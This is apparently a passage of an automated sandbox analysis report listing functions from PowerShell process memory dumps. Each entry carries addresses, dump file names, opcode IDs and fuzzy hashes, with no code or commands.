                                                                                          • Opcode Fuzzy Hash: 05dd94a12dc45e8f7da9c60e7e1a12ab84c0b153eba5a8a472aa7bc71ce4f1d8
                                                                                          • Instruction Fuzzy Hash: 56E01A31B0C8188FDAA8DB0CE0909ED73E1EB9933175101B7D24EC7561CA2AEC519B84

                                                                                          Non-executed Functions

                                                                                          Function 00007FFD347984F2 Relevance: 7.6, Strings: 6, Instructions: 138COMMON
                                                                                          Download Yara Rule
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001E.00000002.2512344474.00007FFD34790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34790000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_30_2_7ffd34790000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: L_^$L_^$L_^$L_^$L_^$L_^
                                                                                          • API String ID: 0-1652487901
                                                                                          • Opcode ID: 4b54e0d848f73aad2a8c291d8984418f31556413b8aba2aec53839bc8cb73ee0
                                                                                          • Instruction ID: d25c5df154bf7e3fe79113273107b2414c65c828bd5e5f5f0e0734dfea23e69d
                                                                                          • Opcode Fuzzy Hash: 4b54e0d848f73aad2a8c291d8984418f31556413b8aba2aec53839bc8cb73ee0
                                                                                          • Instruction Fuzzy Hash: EE41B6A3A1DAC25BD753463988FA0D57FD0EE1321870A15F6C2E58B053EE1C380BA692
                                                                                          Function 00007FFD34798BD3 Relevance: 7.6, Strings: 6, Instructions: 108COMMON
                                                                                          Download Yara Rule
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 0000001E.00000002.2512344474.00007FFD34790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34790000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_30_2_7ffd34790000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: L_^?$L_^@$L_^K$L_^N$L_^T$L_^Y
                                                                                          • API String ID: 0-2042962386
                                                                                          • Opcode ID: 371a7bd3d2f53567e8b9be30136cbf095641841c0e609494d3dcefb21d544016
                                                                                          • Instruction ID: 3d9d47c374a5d7e3eddbb3276b7fb1488aba2a282be23ba51e92218ae5b941bf
                                                                                          • Opcode Fuzzy Hash: 371a7bd3d2f53567e8b9be30136cbf095641841c0e609494d3dcefb21d544016
                                                                                          • Instruction Fuzzy Hash: 7F2121A37188261AC21236FDBC139FD3748DF9627934452F3E258DE153DE14B09B86D1

                                                                                          Executed Functions

                                                                                          Function 00007FFD347996FA Relevance: .2, Instructions: 211COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000022.00000002.2676513982.00007FFD34790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34790000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_34_2_7ffd34790000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 8a2bd0e6be0d0af3145b7fc2ec11996b66247a1ccf27e18a4d112aab1fb53774
                                                                                          • Instruction ID: 25441014289d69c4a9d3a81ab7d0fabbd96b07ff5ba7cda9b8149b5f2144de04
                                                                                          • Opcode Fuzzy Hash: 8a2bd0e6be0d0af3145b7fc2ec11996b66247a1ccf27e18a4d112aab1fb53774
                                                                                          • Instruction Fuzzy Hash: 786117B2A0DB859FE7059B5C58A61E87FE0FF52310F08417FD18987293DA29B8158BC2
                                                                                          Function 00007FFD34864073 Relevance: .2, Instructions: 183COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000022.00000002.2678132818.00007FFD34860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34860000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_34_2_7ffd34860000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: cdb06b5b50454777c5ff63d4c0c04f3d7cd09ff5c04b0863c6f227d1b0d530de
                                                                                          • Instruction ID: 90955e9a5321639c2eac3e05b3d2dbc0d27e619fc9268acfa8ed05022c25cd91
                                                                                          • Opcode Fuzzy Hash: cdb06b5b50454777c5ff63d4c0c04f3d7cd09ff5c04b0863c6f227d1b0d530de
                                                                                          • Instruction Fuzzy Hash: D9511622B0DA9A4FE7E99B1C54A117877D2EF96630B9801BAC34EC7293DD1CE8058745
                                                                                          Function 00007FFD3467ED40 Relevance: .1, Instructions: 126COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000022.00000002.2675626838.00007FFD3467D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD3467D000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_34_2_7ffd3467d000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: d187e6e65dcc268f6a615e784ce74fe4a24011c05f6adadfdc4aa16836713a34
                                                                                          • Instruction ID: e681ee2294e108106211731d45b637792bd05099fda1522aea7f82cf1ae35cd7
                                                                                          • Opcode Fuzzy Hash: d187e6e65dcc268f6a615e784ce74fe4a24011c05f6adadfdc4aa16836713a34
                                                                                          • Instruction Fuzzy Hash: 3A41F17140DBC44FE756DB28DC959923FF0EF57220B1946DFD088CB1A3D629A84AC7A2
                                                                                          Function 00007FFD3479B605 Relevance: .1, Instructions: 108COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000022.00000002.2676513982.00007FFD34790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34790000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_34_2_7ffd34790000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 9a716f6f55d7537df96e347c0e52f495565a545fc66d2c706ab72963a53321d0
                                                                                          • Instruction ID: 437c614b44a7042184c1be4a202324b8c4edd1c766889ff6ee3820476817231a
                                                                                          • Opcode Fuzzy Hash: 9a716f6f55d7537df96e347c0e52f495565a545fc66d2c706ab72963a53321d0
                                                                                          • Instruction Fuzzy Hash: D731F67190C78C4FDB55DF68884A6E97FF0EF97320F0441ABD048C7163D668A81AC792
                                                                                          Function 00007FFD348640BF Relevance: .1, Instructions: 96COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000022.00000002.2678132818.00007FFD34860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34860000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_34_2_7ffd34860000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 3d142d7258219f33a5a3ee0a13a14d05197929d037d71e1ba0232c6af316ead2
                                                                                          • Instruction ID: 7dec0ba8c6327069750974c0adfa44c56cd58da265e8eae52ae690be066ee2b1
                                                                                          • Opcode Fuzzy Hash: 3d142d7258219f33a5a3ee0a13a14d05197929d037d71e1ba0232c6af316ead2
                                                                                          • Instruction Fuzzy Hash: DA21D223B0DAA74FE7E5EB1844B117866D2EF56630B8901BAD34DC71A3CD2CEC449709
                                                                                          Function 00007FFD3479B64C Relevance: .1, Instructions: 96COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000022.00000002.2676513982.00007FFD34790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34790000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_34_2_7ffd34790000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 232a93be8fecda9014354aae14be2810b75c0734c8215562e7db02808df60845
                                                                                          • Instruction ID: 6a1c14aef9fdca051051a44aae2a33e07e03c428a1b8b4c6ab10b89be45710a8
                                                                                          • Opcode Fuzzy Hash: 232a93be8fecda9014354aae14be2810b75c0734c8215562e7db02808df60845
                                                                                          • Instruction Fuzzy Hash: B221C27190CB4C8FDB58DF9C984A7E97BE0EB96321F00816FD049C3152D674A85ACB92
                                                                                          Function 00007FFD3486681E Relevance: .1, Instructions: 60COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000022.00000002.2678132818.00007FFD34860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34860000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_34_2_7ffd34860000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: f3147f6845679148ae6104c35f9938613b5794f05adc40df439962986010c90c
                                                                                          • Instruction ID: 14a4071ea85e932cb840dd1719b7eaeae44e1fa7a4da5c902a7597fb74c598fa
                                                                                          • Opcode Fuzzy Hash: f3147f6845679148ae6104c35f9938613b5794f05adc40df439962986010c90c
                                                                                          • Instruction Fuzzy Hash: 2E11E332B0D6C94FEBD1DFA880A45A87BD1EF5A320F4440BFC64DE7193DA28A845D350
                                                                                          Function 00007FFD348643CA Relevance: .1, Instructions: 60COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000022.00000002.2678132818.00007FFD34860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34860000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_34_2_7ffd34860000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: d615fab94bc20b010ffebf18a901778964ffba637053e41054b564e097c056f1
                                                                                          • Instruction ID: 3e3c4562150e5830966b3a3861984d14ba475bd11454083101e4162ccfa53e29
                                                                                          • Opcode Fuzzy Hash: d615fab94bc20b010ffebf18a901778964ffba637053e41054b564e097c056f1
                                                                                          • Instruction Fuzzy Hash: BB112532A0E9850FD6E1D71C50A58BC7BD1EF4262078800F6D65CDB193D91DAC00C345
                                                                                          Function 00007FFD347933B5 Relevance: .0, Instructions: 49COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000022.00000002.2676513982.00007FFD34790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34790000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_34_2_7ffd34790000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
                                                                                          • Instruction ID: 7f35bd5044578bf9c0f8abe52516a2319000a2064556ee323e06116b507f2bf6
                                                                                          • Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
                                                                                          • Instruction Fuzzy Hash: 6701677125CB0C8FD744EF0CE451AA5B7E0FB99364F10056DE58AC3651DA36E882CB45
                                                                                          Function 00007FFD34799CF8 Relevance: .0, Instructions: 38COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000022.00000002.2676513982.00007FFD34790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34790000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_34_2_7ffd34790000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 405c58cac63e2ca5b0471ce8020c09ca8eec23c1979971a646614c44ae6965e8
                                                                                          • Instruction ID: b8fca14fb8e1cd8cf1e106e19a155d4257aea9d9582281c92986d37bd135a305
                                                                                          • Opcode Fuzzy Hash: 405c58cac63e2ca5b0471ce8020c09ca8eec23c1979971a646614c44ae6965e8
                                                                                          • Instruction Fuzzy Hash: 97F0BB718086898FEB46DF2888595D5BFA0EF57310F050297D458C71A2DB65A558CBC2

                                                                                          Non-executed Functions

                                                                                          Function 00007FFD347985D3 Relevance: 5.2, Strings: 4, Instructions: 224COMMON
                                                                                          Download Yara Rule
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000022.00000002.2676513982.00007FFD34790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34790000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_34_2_7ffd34790000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: L_^$L_^$L_^$L_^
                                                                                          • API String ID: 0-2357752022
                                                                                          • Opcode ID: 79fe7442d78f8b9583203cea3df3719cb0fb9666a3449b9315a35a11a8de359d
                                                                                          • Instruction ID: 3e4ee2d86c5c8b1549834ac3e482cdfb78ab93553736b8deffec20fe24982426
                                                                                          • Opcode Fuzzy Hash: 79fe7442d78f8b9583203cea3df3719cb0fb9666a3449b9315a35a11a8de359d
                                                                                          • Instruction Fuzzy Hash: D561A997E1DAC29BE392462D58B60D93BD4EF53354B0E14F6C389CB093ED1D3C469292

                                                                                          Executed Functions

                                                                                          Function 00007FFD3476A0FB Relevance: .3, Instructions: 253COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000023.00000002.2879454694.00007FFD34760000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34760000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_35_2_7ffd34760000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 9fa4bcdfcdaa32d88a8b3fc73d6cfa5fdf8a4e873201b9b43ceb6b02d33e3af5
                                                                                          • Instruction ID: 5ff368594e6dd8a9e75f28d35de303fb453d677edb44c82e01dc7ecc911ce0cc
                                                                                          • Opcode Fuzzy Hash: 9fa4bcdfcdaa32d88a8b3fc73d6cfa5fdf8a4e873201b9b43ceb6b02d33e3af5
                                                                                          • Instruction Fuzzy Hash: 2B111F66A0E7C58FD7579B3898750947FB0DF63211B0A00EBD588CB0A3D91D5C4CDBA2
                                                                                          Function 00007FFD34834073 Relevance: .2, Instructions: 181COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000023.00000002.2880698576.00007FFD34830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34830000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_35_2_7ffd34830000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 1cc7ad59a8a25f508a7b0adbae17983fdb556c0af98a24c10e6b83f3353df689
                                                                                          • Instruction ID: 8b65cff9dd58b8cca12306c629e0b6c6157f6a83ca73e88de04e48b117204aa1
                                                                                          • Opcode Fuzzy Hash: 1cc7ad59a8a25f508a7b0adbae17983fdb556c0af98a24c10e6b83f3353df689
                                                                                          • Instruction Fuzzy Hash: E1512826B0DE5A4FE7D99B1C54B157877D2EF96620B1800BAC25EC73A3DD19EC058341
                                                                                          Function 00007FFD3464EB80 Relevance: .1, Instructions: 124COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000023.00000002.2878218930.00007FFD3464D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD3464D000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_35_2_7ffd3464d000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: f60fb674681998dda963da4fda4ca962e2dba6492b1431267f1238b9885bd39b
                                                                                          • Instruction ID: 933f19aab99458a7e1fd62710f34dfc403d3835a6c055d5b8e8c0583c4113a33
                                                                                          • Opcode Fuzzy Hash: f60fb674681998dda963da4fda4ca962e2dba6492b1431267f1238b9885bd39b
                                                                                          • Instruction Fuzzy Hash: 3E413A7150DBC44FDB568B28D891A923FF0EF53324B1505EFD089CB2A3D629A806C792
                                                                                          Function 00007FFD34769798 Relevance: .1, Instructions: 118COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000023.00000002.2879454694.00007FFD34760000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34760000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_35_2_7ffd34760000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: b5493c388d14889df8d1865aa2aa1cfb4efee5ea9d5ecacd9d2a1c97b3655017
                                                                                          • Instruction ID: 537a6e78d7d82d267547fcd3f57f04dabb447cc3cfeff87ce2c7ed15541907c6
                                                                                          • Opcode Fuzzy Hash: b5493c388d14889df8d1865aa2aa1cfb4efee5ea9d5ecacd9d2a1c97b3655017
                                                                                          • Instruction Fuzzy Hash: 9331F67091CF488FDB589B4CA8066A9BBE1FB99321F00422FE449D3242CB34A8518BC2
                                                                                          Function 00007FFD3476A64C Relevance: .1, Instructions: 103COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000023.00000002.2879454694.00007FFD34760000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34760000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_35_2_7ffd34760000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: b2e870d6e61d4d71760e957b5a96166d3f9c8acdbb26a34bc13c382bc7c49d0c
                                                                                          • Instruction ID: be8bfd175595e2a1b03c5724891b7e9567fa7d2374c968e854d36f21db1046cd
                                                                                          • Opcode Fuzzy Hash: b2e870d6e61d4d71760e957b5a96166d3f9c8acdbb26a34bc13c382bc7c49d0c
                                                                                          • Instruction Fuzzy Hash: 4D21F87090CB4C4FEB59DFAC984A7E97FE0EB97321F04416BD049C3152DA74A85ACB92
                                                                                          Function 00007FFD348340BF Relevance: .1, Instructions: 94COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000023.00000002.2880698576.00007FFD34830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34830000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_35_2_7ffd34830000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 9c44202cf6c5ad40ef244c7a2868bab16b52c356c09b1a27dde7fea167cd4c27
                                                                                          • Instruction ID: 23b58e4f0cb1175eda2338a1e9012c3e67f8dbea0ff0644c7df5f552c644cad8
                                                                                          • Opcode Fuzzy Hash: 9c44202cf6c5ad40ef244c7a2868bab16b52c356c09b1a27dde7fea167cd4c27
                                                                                          • Instruction Fuzzy Hash: 3D21A02BB1DE9B4FE7A59B1894B117876D2EF66610B4900BAD25EC73A3CD1CEC049341
                                                                                          Function 00007FFD347633B5 Relevance: .0, Instructions: 49COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000023.00000002.2879454694.00007FFD34760000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34760000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_35_2_7ffd34760000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
                                                                                          • Instruction ID: 9673819b57db3391d7149ca44187bfcecfbd052572aa48069badb64473713da4
                                                                                          • Opcode Fuzzy Hash: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
                                                                                          • Instruction Fuzzy Hash: 7C01677121CB0C8FD744EF0CE451AA5B7E0FB95364F10056DE58AC3651DA36E882CB45
                                                                                          Function 00007FFD348343FA Relevance: .0, Instructions: 35COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000023.00000002.2880698576.00007FFD34830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34830000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_35_2_7ffd34830000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: d98e430bae7b02dfb7ce692ab831b0eb99da46c11b6ad89951b981810a7a2f18
                                                                                          • Instruction ID: d41d24e5437de98309f03a42fe0268cebc2c606e74ebd7d62971661ac27d7f02
                                                                                          • Opcode Fuzzy Hash: d98e430bae7b02dfb7ce692ab831b0eb99da46c11b6ad89951b981810a7a2f18
                                                                                          • Instruction Fuzzy Hash: 57F0B43270D5448FDB54EB58E4A04A873F0FF4632470500B6E259C7263DA29EC50C780
                                                                                          Function 00007FFD34836861 Relevance: .0, Instructions: 29COMMON
                                                                                          Download Yara Rule
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000023.00000002.2880698576.00007FFD34830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34830000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_35_2_7ffd34830000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 87fc7bdef46fbcc0c535d3e89e9480eaf35936a53dacd09687af4895635fdbb7
                                                                                          • Instruction ID: 34250e5dc233e5da3f0ac6637b5036f46086812d16e845852a8821bc009dda35
                                                                                          • Opcode Fuzzy Hash: 87fc7bdef46fbcc0c535d3e89e9480eaf35936a53dacd09687af4895635fdbb7
                                                                                          • Instruction Fuzzy Hash: 13E06D32B0EA884FEB56EBAC54A51E8BBA1EB99221F1400BFE14DD2243D9295845C350

                                                                                          Non-executed Functions

                                                                                          Function 00007FFD347684D3 Relevance: 6.4, Strings: 5, Instructions: 116COMMON
                                                                                          Download Yara Rule
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000023.00000002.2879454694.00007FFD34760000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34760000, based on PE: false
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_35_2_7ffd34760000_powershell.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: O_^$O_^$O_^$O_^$O_^
                                                                                          • API String ID: 0-2660881393
                                                                                          • Opcode ID: ed2a84614118f83d1d2b39283f9bcf0e36a1cf3b6c643cd35388eb75f2ae236b
                                                                                          • Instruction ID: 8fd9410534463f58d863b6439a8843294237e249bffa4ef6d7debc20c2c56182
                                                                                          • Opcode Fuzzy Hash: ed2a84614118f83d1d2b39283f9bcf0e36a1cf3b6c643cd35388eb75f2ae236b
                                                                                          • Instruction Fuzzy Hash: 3D315E96B0FAD69FE763463858B60943FD59E5323430F01E6C6D8DF1A3EE0C2847A252